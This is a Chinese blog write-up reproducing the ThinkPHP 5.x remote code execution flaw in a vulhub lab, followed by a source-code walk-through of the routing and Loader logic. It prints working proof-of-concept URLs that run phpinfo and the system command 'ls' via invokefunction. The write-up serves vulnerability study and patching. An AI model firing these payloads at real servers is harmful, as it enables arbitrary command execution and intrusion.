zoukankan      html  css  js  c++  java
  • Thinkphp 5.x 任意代码执行 复现

    Thinkphp在2018/12/10发布了安全更新:

    影响版本

    5.x < 5.0.23
    5.1.x <= 5.1.31

    漏洞复现

    • 环境:
      docker vulhub ubuntu thinkphp5.0.22
    • POC:
      代码执行:
    http://your-ip:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    

    命令执行:

    http://192.168.232.128:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
    

    漏洞分析

    • 成因:
      框架对控制器名没有进行足够的检测,导致可以用命名空间的方式来调用任意类的任意方法。
    • 分析
      在thinkphplibrary hinkApp.php中设置当前请求的控制器、操作
            // 获取控制器名
            $controller = strip_tags($result[1] ?: $config['default_controller']);
            $controller = $convert ? strtolower($controller) : $controller;
    
            // 获取操作名
            $actionName = strip_tags($result[2] ?: $config['default_action']);
            if (!empty($config['action_convert'])) {
                $actionName = Loader::parseName($actionName, 1);
            } else {
                $actionName = $convert ? strtolower($actionName) : $actionName;
            }
    
            // 设置当前请求的控制器、操作
            $request->controller(Loader::parseName($controller, 1))->action($actionName);
    

    跟踪controller
    在该文件下的exec函数中执行了控制器操作

        protected static function exec($dispatch, $config)
        {
            switch ($dispatch['type']) {
                case 'redirect': // 重定向跳转
                    $data = Response::create($dispatch['url'], 'redirect')
                        ->code($dispatch['status']);
                    break;
                case 'module': // 模块/控制器/操作
                    $data = self::module(
                        $dispatch['module'],
                        $config,
                        isset($dispatch['convert']) ? $dispatch['convert'] : null
                    );
                    break;
                case 'controller': // 执行控制器操作
                    $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                    $data = Loader::action(
                        $dispatch['controller'],
                        $vars,
                        $config['url_controller_layer'],
                        $config['controller_suffix']
                    );
                    break;
                case 'method': // 回调方法
                    $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                    $data = self::invokeMethod($dispatch['method'], $vars);
                    break;
                case 'function': // 闭包
                    $data = self::invokeFunction($dispatch['function']);
                    break;
                case 'response': // Response 实例
                    $data = $dispatch['response'];
                    break;
                default:
                    throw new InvalidArgumentException('dispatch type not support');
            }
    
            return $data;
        }
    

    执行控制器操作代码块

                case 'controller': // 执行控制器操作
                    $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                    $data = Loader::action(
                        $dispatch['controller'],
                        $vars,
                        $config['url_controller_layer'],
                        $config['controller_suffix']
                    );
    

    这里调用了Loader的action,我们继续跟踪

        public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
        {
            $info   = pathinfo($url);
            $action = $info['basename'];
            $module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller();
            $class  = self::controller($module, $layer, $appendSuffix);
    
            if ($class) {
                if (is_scalar($vars)) {
                    if (strpos($vars, '=')) {
                        parse_str($vars, $vars);
                    } else {
                        $vars = [$vars];
                    }
                }
    
                return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars);
            }
    
            return false;
        }
    

    我们看到$class = self::controller($module, $layer, $appendSuffix);,这里调用了当前文件下的controller
    我们跟踪controller

        public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
        {
            list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
    
            if (class_exists($class)) {
                return App::invokeClass($class);
            }
    
            if ($empty) {
                $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
    
                if (class_exists($emptyClass)) {
                    return new $emptyClass(Request::instance());
                }
            }
    
            throw new ClassNotFoundException('class not exists:' . $class, $class);
        }
    

    在这里又调用了getModuleAndClass方法,跟踪该方法

        protected static function getModuleAndClass($name, $layer, $appendSuffix)
        {
            if (false !== strpos($name, '\')) {
                $module = Request::instance()->module();
                $class  = $name;
            } else {
                if (strpos($name, '/')) {
                    list($module, $name) = explode('/', $name, 2);
                } else {
                    $module = Request::instance()->module();
                }
    
                $class = self::parseClass($module, $layer, $name, $appendSuffix);
            }
    
            return [$module, $class];
        }
    

    其中

    if (false !== strpos($name, '\')) {
                $module = Request::instance()->module();
                $class  = $name;
            }
    

    简单分析可知如果控制器名中存在/(不存在)就会直接返回
    $class要经过parseClass方法解析,跟踪该方法

        public static function parseClass($module, $layer, $name, $appendSuffix = false)
        {
    
            $array = explode('\', str_replace(['/', '.'], '\', $name));
            $class = self::parseName(array_pop($array), 1);
            $class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : '');
            $path  = $array ? implode('\', $array) . '\' : '';
    
            return App::$namespace . '\' .
                ($module ? $module . '\' : '') .
                $layer . '\' . $path . $class;
        }
    

    先是分割,parseName方法是thinkphp的命名风格转换
    最后拼接返回
    这样getModuleAndClass返回的是一个带命名空间的完整类名
    controller函数中list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);这句代码我们差不多分析完了,回到controller中

        public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
        {
            list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
    
            if (class_exists($class)) {
                return App::invokeClass($class);
            }
    
            if ($empty) {
                $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
    
                if (class_exists($emptyClass)) {
                    return new $emptyClass(Request::instance());
                }
            }
    
            throw new ClassNotFoundException('class not exists:' . $class, $class);
        }
    

    判断了类是否存在,不存在会自动加载类

    之后就是实例化类,调用类的方法

    综上,由于判断类的命名空间采用的是判断是否存在,所以我们可以用来构建命名空间,从而调用类的方法

    在App.php文件中App类的invokeFunction的作用是执行函数

        public static function invokeFunction($function, $vars = [])
        {
            $reflect = new ReflectionFunction($function);
            $args    = self::bindParams($reflect, $vars);
    
            // 记录执行信息
            self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
    
            return $reflect->invokeArgs($args);
        }
    

    因此构造poc:

    http://your-ip:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    

    (call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数)

    参考文章
    https://xz.aliyun.com/t/3570

  • 相关阅读:
    BT656跟BT1120和BT709有什么区别 分类: 生活百科 HI3531 2013-11-26 09:03 1320人阅读 评论(0) 收藏
    plx9030触发pci中断 分类: 浅谈PCI 2013-11-15 17:52 634人阅读 评论(2) 收藏
    如何把任意文件隐藏在一张图片里? 分类: DirectX 2013-11-15 16:05 524人阅读 评论(0) 收藏
    如何使用系统设备枚举器 分类: DirectX 2013-11-15 16:03 707人阅读 评论(0) 收藏
    利用 DirectShow 开发自己的 Filter 分类: DirectX 2013-11-15 16:01 686人阅读 评论(0) 收藏
    做好口碑营销需要抓住的四条法则
    情绪管理的误区
    20年,一张卡和一个时代
    消费税悄然扩围 行业协会忙协商
    一个投顾团队的股灾记忆
  • 原文地址:https://www.cnblogs.com/g0udan/p/12288851.html
Copyright © 2011-2022 走看看